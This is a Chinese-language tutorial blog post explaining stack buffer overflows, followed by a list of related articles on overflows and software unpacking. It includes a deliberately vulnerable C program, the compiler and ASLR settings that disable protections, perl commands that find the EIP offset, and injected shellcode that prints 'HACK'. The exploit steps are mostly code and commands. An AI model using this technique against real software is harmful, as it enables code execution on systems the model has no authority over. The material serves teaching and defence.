浅析缓冲区溢出

article/2025/9/17 5:11:01

最近一直在学习缓冲区溢出漏洞的攻击,但是关于这一块的内容还是需要很多相关知识的基础,例如编程语言及反汇编工具使用。所以研究透彻还需要不少的时间,这里简单的做一个学习的总结,通过具体的实验案例对缓冲区溢出进行简要的解析。

汇编语言及编程语言是基础,其次是对反编译工具的使用:比如gdb、IDA pro、objdump等。汇编语言的学习可以看王爽编写的《汇编语言》,很适合初学者学习的一本书。(对于初学者来说,必要的知识屏蔽是很重要的,这本书就是按这个思想编写,所以看这本书的感觉就非常流畅。)

缓冲区溢出是一种常见的攻击手段,原因在于缓冲区漏洞非常普遍,并且易于实现。缓冲区溢出漏洞占了远程网络攻击的绝大多数,成为远程攻击的主要手段。在CTF比赛中这一类的题目也是非常热门(pwn题)。利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

缓冲区溢出及其原理

关于缓冲区溢出的原理网上也很多,这里用一个我觉得不错的实验示例进行讲解。

先来看以下这个例子:

(注意:此处编译环境为CentOS  5.0 32bit),其他版本的linux可能需要修改8,9行代码)

首先用C语言编写一个程序,如下所示,保存为buffer.c文件。

1.	#include<unistd.h>  
2.	#include<stdlib.h>  
3.	#include<stdio.h>  
4.	#include<string.h>  
5.	  
6.	void function(int a,int b,int c){  
7.	        char buffer[8];  //声明一个类型为char的数组
8.	        int *ret;    
9.	        ret=(int*)(buffer+16);  
10.	       (*ret)+=7;  
11.	}  
12.	  
13.	int main(){  
14.	   int x;  
15.	   x=99999;  
16.	   function(1,2,3);  
17.	   x=1;  
18.	   printf("%d\n",x);  
19.	   return 0;  
20.	}  

​​

编译源程序

如图1所示,执行#gcc  buffer.c  –o  buffer.o命令,编译源程序。(有些高版本的linux可以加-fno-stack-protector  -z  execstack参数关闭保护措施)

执行程序

如图1所示,执行./buffer.o命令,输出结果99999.通过分析主函数的流程,应该输出1,可是输出的为99999。原因在于function()函数。

原因分析

下面对buffer.o程序在内存中的分步情况及执行流程进行分析。

一个程序在内存中通常分为程序段、数据段和堆栈。

  1. 程序段:存放程序的机器码和只读数据
  2. 数据段:存放程序中的静态数据和全局变量
  3. 堆栈:存放动态数据及局部变量

在内存中,它们的位置如图2所示

堆栈是一块保存数据的连续内存,一个名为堆栈指针(SP)的寄存器标识出了栈顶的位置,堆栈的底部在一个固定的地址。图2简化了一下如图3所示,栈的增长是由低地址位向高地址位,而堆的增长刚好相反。

理论上说,局部变量可以用SP加偏移量来引用。堆栈由逻辑堆栈帧组成,一个函数对应一个堆栈帧。

当调用函数时,逻辑堆栈帧被压入栈中,堆栈帧包括函数的参数、返回地址、EBP(EBP是当前函数的存取指针,即存储或者读取数时的指针基地址,可以看成一个标准的函数起始代码)和局部变量(如果函数有局部变量)。程序执行结束后,局部变量的内容将会消失,但是不会被清除。

当函数返回时,逻辑堆栈帧从栈中被弹出,然后弹出EBP,恢复堆栈到调用函数时的地址,最后弹出返回地址到EIP(寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。),从而继续运行程序。

(如过想多了解一些关于寄存器的知识,可以阅读这篇文章:

https://blog.csdn.net/chenlycly/article/details/37912755)

接下来,我们来看function(1,2,3函数,调用函数的过程如下图所示:

首先把参数压入栈:在C语言中参数的压栈顺序是反向的,是以从后往前的顺序将function的3个参数3,2,1压入栈中。

然后保存指令寄存器(ip)中的内容作为返回地址(return2)压入栈中;第3个放入栈的是基址寄存器EBP(sfp)

接着把当前的栈指针(sp)复制到EBP,作为新栈帧的基地址(sfp,栈帧指针)。这里准备进入function函数。

最后把栈指针(sp)减去适当的数值(可以理解为指针由高地址位向低地址位滑动),将局部变量(buffer和ret)压入栈中

执行第9行语句ret=(int*)(buffer1+16);后指针ret指向return2所指的存储单元;执行代码中第10行语句(*ret)+=7;后,调用函数function()后的返回地址(return2所指的存储单元)指向了第18行,第17行被隔过去了,溢出的数据覆盖了原来的返回地址,因此,该程序的输出结果是99999。

这个就是一个简单的栈溢出的情况。

缓冲区溢出攻击例子

接下来,我们将要思考一段包含了可利用缓冲区溢出的代码,并据此展示一次攻击。

在具体地讨论缓冲区溢出攻击之前,可以先考虑一下此类攻击可能会爆发的现实场景。假设网站上web表单请用户输入数据,如姓名、年龄、出生日期等此类的相关信息。被输入的信息随后被传送到一台服务器上,而这台服务器会将“姓名”字段中输入的数据写入可以容纳N个字符的缓冲区中。如果服务器软件没有去验证可以确保输入的姓名的长度至多为N个字符的话,就可能会发生一次缓冲区溢出。如果溢出的数据是一段恶意代码,那么系统也将可能会去执行,从而受到攻击。

           这里我使用的系统是ubuntu 18.04 (64bit)。当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在的操作系统默认启用地址随机化功能,所有很难猜测到EIP注入的地址。这里就先要把实验环境配置好(这一步很重要,如果实验中出现问题,很大可能就是环境配置的关系):

1. 关闭地址随机化功能(这里可能会遇到权限问题,可以手动修改,把里面的值改为0即可)

echo 0 > /proc/sys/kernel/randomize_va_space

2. 这次测试用到的是编译出32位程序,但现在常见的都是64位系统,可以先安装gcc编译32位程序用到的库:

sudo apt-get install libc6-dev-i386

 

一、创建程序

我们先构建一段代码开始,命名为bo.c。(这里为了直接展示缓冲区漏洞攻击方法,就省掉了与网络相关的部分。)

1.	#include <stdio.h>  
2.	#include <string.h>  
3.	  
4.	int f()  
5.	{  
6.	    char buf[32];  
7.	    FILE *fp;  
8.	  
9.	    fp = fopen("test.txt", "r");  
10.	    if(!fp) {  
11.	        perror("fopen");  
12.	    }  
13.	  
14.	    fread(buf, 1024, 1, fp);  
15.	    printf("data: %s\n", buf);  
16.	    return 0;  
17.	}  
18.	  
19.	int main(int argc, char *argv[])  
20.	{  
21.	    f();  
22.	  
23.	    return 0;  
24.	}  

 

简要的分析下这段代码有溢出问题的原因是:这段程序的作用是输出文件中的字符,它声明的buf数组的字符数量为32,但是拷贝了最多可达1024个字符,因此就可以把文件的字符如果超过一定的数量,就会造成溢出,并被程序执行这些溢出的字符。

 

二、编译程序

编译源程序,输入如下命令:

gcc -Wall -g -fno-stack-protector -o bo bo.c -m32 -Wl,-zexecstack

这里加了几个参数,它们的功能分别是:

 -fno-stack-protector : 禁用栈溢出检测功能

 -m32 : 生成32位程序

 -Wl,-zexecstack : 支持栈端可执行

看解释就知道为什么加这些参数了。

编译完成之后,我们简要的说明下一步该如何利用溢出进行攻击。思路如下:

使用的也是上一个例子的原理,buf数组溢出后,从文件读取的内容就会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径,使它运行文件中的代码。这种攻击一般也叫做返回库函数攻击。

因此,我们需要知道从文件读取多少个字节才能开始覆盖EIP。常见的方法有两种:

一种方法是反编译程序进行推导,另一种方法就是进行基本的手工测试。第一种方法通常需要更深入的汇编知识,且适用于不知道源码的情况。这里我们已经知道源码,已经发现了问题所在,所以就选择后者进行尝试,确定一下写个多少字节才能覆盖EIP。

 

三、覆盖EIP

根据源码我们创建text.txt文件并写入字符进行尝试,尝试的方法很简单,EIP前的空间使用'A'填充,而EIP使用'BBBB'填充,使用两种不同的字母是为了方便找到边界。

目前知道buf数组大小为32个字符,可以先尝试填充32个'A'和追加'BBBB',如果程序没有出现segment fault(段错误),则每次增加'A'字符4个,不断尝试直到程序运行出现segment fault。(我这里到48个的时候出现segment fault,32位系统大概在40左右)如果'BBBB'刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,因为0x42424242(Bascii码为0x42)是不可访问地址,所以出现segment fault,此时eip寄存器值就是0x42424242。

这里可以手工在文件文件中输入字符,但毕竟繁琐,所以可以使用perl脚本写入(之后写入shellcode也要用到)。

所经过的尝试如下:

第一次:

$ perl -e 'printf "A"x32 . "B"x4' > test.txt ;

写入文件中的内容为:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

再运行程序./bo

结果:已溢出,造成输出乱码,但没有segment fault

第二次增加4A字符:

$ perl -e 'printf "A"x36 . "B"x4' > test.txt ; ./bo

结果:这里也没有segment fault

之后的步骤省略,直接到出现segment fault的这一步:

$ perl -e 'printf "A"x48 . "B"x4' > test.txt ; ./bo

 

结果:产生了segment fault

接下来就使用调试工具gdb,分析并确定此时的EIP是否为0x42424242

1.在使用gdb前,首先输入:

ulimit -c unlimited

用这个命令是为了产生core文件,core就是程序运行发行段错误时的文件。

2.接着运再行一下上面的出错的那条指令

./bo

此时当前目录下会出现一个core文件

3.之后就是使用gdb分析程序:

$ gdb ./bo core –q

分析core文件,发现eip被写成'0x424242'(BBBB),可以确定注入内容中的'BBBB'对准了栈中存放EIP的位置。 找到EIP位置,我们就离成功迈进了一大步。值得注意的是:现在的系统有保护机制,所以找准eip的难度会大大增加。不过现在也有出现了更多有效的方法,感兴趣的朋友可以更深入地进行学习。

四、构造shellcode

通过之前的步骤,我们可以控制EIP之后,下一步操作就是往栈里面注入二进指令,然后修改EIP执行这段代码。那么当函数执行完后,就会执行我们的指令啦。

 通常我们将注入的这段指令称为shellcode,解释为这段指令是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。

 这里我们不需要写一段复杂的shellcode去打开shell。为了能证明成功控制程序,我们可以使它在终端上输出"HACK"字符串,然后程序退出。 简便起见,我们构造的shellcode就相当于下面两句C语言的效果:

1.	write(1, "HACK\n", 5);
2.	exit(0);

 因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。 下面就是32位x86的汇编代码shell.s:

1.	BITS 32  
2.	start:  
3.	xor eax, eax  
4.	xor ebx, ebx  
5.	xor ecx, ecx  
6.	xor edx, edx  
7.	  
8.	mov bl, 1  
9.	add esp, string - start  
10.	mov ecx, esp  
11.	mov dl, 5  
12.	mov al, 4  
13.	int 0x80  
14.	  
15.	mov al, 1  
16.	mov bl, 1  
17.	dec bl  
18.	int 0x80  
19.	  
20.	string:  
21.	db "HACK", 0xa  

 

再编译程序:

nasm -o shell shell.s

之后反编译:

ndisasm shell1

得到如下结果:

 

现在我们找到了EIP的位置,也有了我们要执行的shellcode,但这个EIP应该修改为什么值,才能在函数返回时执行注入的shellcode呢?

我们可以这样想,从栈的基本模型上看(下图),当函数返回,弹出EBP(栈基址),恢复堆栈到调用函数时的地址,再弹出返回地址到EIP,ESP寄存器的值(栈指针)向上移动,指向我们的shellcode。因此,我们使用上面的注入内容生成core时,ESP寄存器的值就是shellcode的开始地址,也就是EIP应该注入的值。

五、注入shellcode

我们知道要成功执行shellcode就要使EIP的值为shellcode开始的地址。那如何找到shellcode开始的地址呢?我们先尝试着把构造好的shellcode文本给程序执行,使它生成新的core。(这里要先删掉之前的core文件)

$ perl -e 'printf "A"x48 . "B"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' > test.txt ;./bo

再执行gdb  ./bo core –q

上面我们知道,ESP的值就是shellcode开始的地址,ESP现在值为0xffffcf70,所有EIP注入值就是该值,(这一步一定要关闭地址随机化功能)。由于X86是小端的字节序,所以注入字节串需要改为"\x70\xcf\xff\xff"

然后将EIP原来的注入值'BBBB'变成"\x70\xcf\xff\xff",使eip指向的地址为shellcode开始运行的地址即可。再次测试:

$ perl -e 'printf "A"x48 . "\x70\xcf\xff\xff" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"'> test.txt ;./bo

 

结果:程序输出HACK字符串了,说明我们成功控制了EIP,并执行了shellcode。

如果这段shellcode构造的再复杂一些,我们就能做更多的事。

这也是算是最简单的缓冲区溢出漏洞攻击的例子了,所讲的技术也有点过时,对于现在的系统来讲,已经不大可能管用了。但不管怎么样,对于初步的学习还是很助于理解的。一切的学习可以从这个简单的例子出发,一步步的进行更深入下去。然后在其中发现更多的精彩。

缓冲区溢出攻击的防范措施

了解攻击原理是为了能更好的进行防御,最后简要的说明一下如何防范这类攻击的发生。

(1)关闭不需要的特权程序。

(2)及时给系统和服务程序漏洞打补丁。

(3)强制写正确的代码。

(4)通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。

(5)利用编译器的边界检查来实现缓冲区的保护,这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是代价比较大。

(6)在程序指针失效前进行完整性检查。

(7)改进系统内部安全机制。

 

参考文章:https://blog.csdn.net/linyt/article/details/43283331


http://chatgpt.dhexx.cn/article/SjT1IbEq.shtml

相关文章

缓冲区溢出原理详解

下面将有实例引入缓冲区溢出的介绍&#xff1a; void main() { int i0; int a[]{1,2,3,4,5,6,7,8,9,10}; for(i0;i<10;i) { a[i]0;printf("Hello World!\n");} } 首先&#xff0c;这段代码会出现死循环&#xff0c;为什么&#xff1f;因为数组溢出了&…

C语言 缓存区溢出 3221225725

目录 问题描述解决办法&#xff1a; 问题描述 DEV-C报错 Process exited after 4.03 seconds with return value 3221225725 原因 数组定义的容量太大 - 五十万起步的样子 而且每次循环都会再定义一次&#xff0c;导致缓存区溢出 解决办法&#xff1a; 思路来源&#xff1a…

什么是缓冲区溢出?有什么危害?原因是什么?

缓冲区溢出是指当计算机向缓冲区填充数据时超出了缓冲区本身的容量&#xff0c;溢出的数据覆盖在合法数据上。 危害有以下两点&#xff1a; 1、程序崩溃&#xff0c;导致拒绝服务 2、跳转并且执行一段恶意代码 原因&#xff1a;造成缓冲区溢出的主要原因是程序中没有仔细检查用…

什么是缓冲区溢出?有说明危害?

缓存溢出 缓存溢出(Buffer overflow) &#xff0c;是指在存在缓存溢出安全漏洞的计算机中&#xff0c;攻击者可以用超出常规长度的字符数来填满-一个域&#xff0c;通常是内存区地址。在某些情况下&#xff0c;这些过量的字符能够作为“可执行”代码来运行。从而使得攻击者可以…

缓存区溢出的原理分析和防范

1.前言 缓冲区溢出(buffer-overflow)是一种非常普遍、同时非常危险的漏洞&#xff0c;在各种操作系统、应用软件中广泛存在。缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击&#xff0c;轻则可以导致程序失败、系统关机等&#xff0c;重则可以利用它执行非授权指令&#xff0…

缓存溢出

缓存溢出&#xff08;Buffer overflow&#xff09;&#xff0c;是指在存在缓存溢出安全漏洞的计算机中&#xff0c;攻击者可以用超出常规长度的字符数来填满一个域&#xff0c;通常是内存区地址。在某些情况下&#xff0c;这些过量的字符能够作为“可执行”代码来运行。从而使得…

逆向基础:软件手动脱壳技术入门

前言&#xff1a; 大家好&#xff0c;我是周杰伦 这里整合了一下之前自己学习软件手工脱壳的一些笔记和脱文&#xff0c;希望能给新学软件逆向和脱壳的童鞋们一点帮助。 1 一些概念 1.1 加壳 加壳的全称应该是可执行程序资源压缩&#xff0c;是保护文件的常用手段。加壳过…

iOS逆向之脱壳工具creakerXI+,最简单、最适合新手的脱壳工具

在学习iOS逆向中&#xff0c;脱壳是必备技能之一&#xff0c;在网上看教程有使用 Clutch 和 dumpdecrypted 但是&#xff0c;不知道 是我操作问题&#xff0c;还是手机版本&#xff0c;以及APP版本更新问题 尝试了几次&#xff0c;都无法成功脱壳 最后在网上看到有大神分享其…

【How2RE】 UPX壳及脱壳方式

0x00 什么是壳 壳是另外在PE文件中包含的代码&#xff0c;并且不影响PE文件正常的执行。而壳也分为很多种&#xff0c;这里从UPX壳开始介绍。 0x01 压缩壳 压缩的分类 压缩的目的就是将体积大的可执行文件缩小的过程。分为损失压缩和非损失压缩两种。损失压缩是指不能100%还…

脱壳(中) 脱壳的方法

那些年我们一起脱过的衣裳&#xff0d;脱壳(中) 珈蓝夜宇 2015/10/29 10:42 0x01 我能在万花从中脱去壳的衣裳!&#xff08;续&#xff09; 3.3ESP定律法 3.3.1ESP定律介绍 ESP定律法是脱壳的利器&#xff0c;是国外友人发现的。有了ESP定律&#xff0c;可以方便我们脱掉大多…

脱壳简单总结

title: 脱壳 date: 2021-07-05 14:37:06 tags: RE 脱壳 1.概述&#xff1a; 1.壳&#xff1a; 一&#xff1a;加壳的目的&#xff1a;为了隐藏程序真正的OEP&#xff08;入口点&#xff09;&#xff0c;防止被破解。 二&#xff1a;加壳软件是一种在编译好可执行文件之后&…

最新乐加固脱壳详细教程(有图有真相)

一、前言声明&#xff1a; 本次破解是基于Xposed Installer框架&#xff0c;具体使用方法请上网查询。假设你已经安装好框架&#xff0c;按照下面的步骤&#xff0c;实现乐加固加固脱壳修复DEX&#xff0c;并且重打包运行。本次选择脱壳的APP是小猿搜题&#xff0c;特此声明&a…

脱壳之简单加密壳

一、简单分析与解密 脱壳最重要的三步&#xff1a;找原始OEP&#xff0c;转存文件&#xff0c;修复文件   压缩壳按照这三步就可以完成脱壳&#xff0c;而加密壳因为对PE文件的信息进行了加密处理&#xff0c;找到OEP只是刚开始&#xff0c;还需要将加密之后的代码、数据进行…

iOS完美脱壳

iOS端IPA脱壳 背景&#xff1a;在软件安全领域中&#xff0c;我们与黑产做对抗时&#xff0c;不是被动防守&#xff0c;自己也可以做攻击方&#xff0c;来验证我方软件是否安全。 关于iOS端逆向分析如&#xff1a;虚拟定位、虚拟设备、修改内存等&#xff0c;始终离不开脱壳。…

脱壳工具:Youpk的使用详解

一. Youpk概述 Youpk基于ART的主动调用的脱壳机&#xff0c;主要针对dex整体加固和各式各样的dex抽取加固。 目前 Youpk 只支持 pixel 1代。所以必须需要 pixel 1代手机&#xff0c;而且需要刷入对应的系统。 Youpk可以处理大部分的加固&#xff0c;一些企业版的加固也能处理…

使用upx脱壳工具脱壳

使用upx脱壳工具脱壳&#xff08;攻防世界新手第七题为例simple-unpack&#xff09; 查壳工具链接&#xff1a;https://www.52pojie.cn/thread-437586-1-1.html 脱壳工具链接&#xff1a;https://github.com/upx/upx/releases 先查壳 一般做到逆向的部分题的时候&#xff0c…

脱壳工具:反射大师的使用详解

一. 反射大师概述 一个脱壳插件工具&#xff0c;需要在 Xposed 环境中使用&#xff0c;支持市面上大多数加密壳。 反射大师简单容易使用&#xff0c;能脱掉大多数壳&#xff0c;很值得使用 二. 下载Xposed和反射大师 Xposed &#xff0c;一款可以在不修改 Android APK 的情…

逆向工具之脱壳神器反射大师(附脱壳环境搭建、脱壳实战)

相信点击进入这篇博客的小伙伴都知道并且搞过App逆向&#xff0c;不过有时候会遇到各种加壳的App&#xff0c;不让你反编译。但是道高一尺&#xff0c;魔高一丈&#xff0c;有正向加密&#xff0c;就有逆向解密。此篇博客博主带大家搭建脱壳环境&#xff0c;并且手动脱一个加了…

手动脱壳教程

一、什么是壳&#xff1f; 壳是指在一个程序的外面再包裹上另一段代码&#xff0c;保护里面的代码不被非法修改或反编译的的程序。它们一般先于程序运行&#xff0c;拿到控制权&#xff0c;然后完成它们保护软件的任务。 二、壳的加载过程 1、保存程序入口参数 …

简单脱壳教程笔记

文章目录 1、手脱UPX壳简介&#xff1a;脱壳&#xff1a;笔记&#xff1a;方法1&#xff1a;单步跟踪&#xff08;需要有耐心&#xff09;一、使用ODE插件二、tools按钮选择LordPE进行脱壳&#xff08;提前在SETUP PATHS里添加好&#xff09; 方法2&#xff1a;ESP定律法方法3&…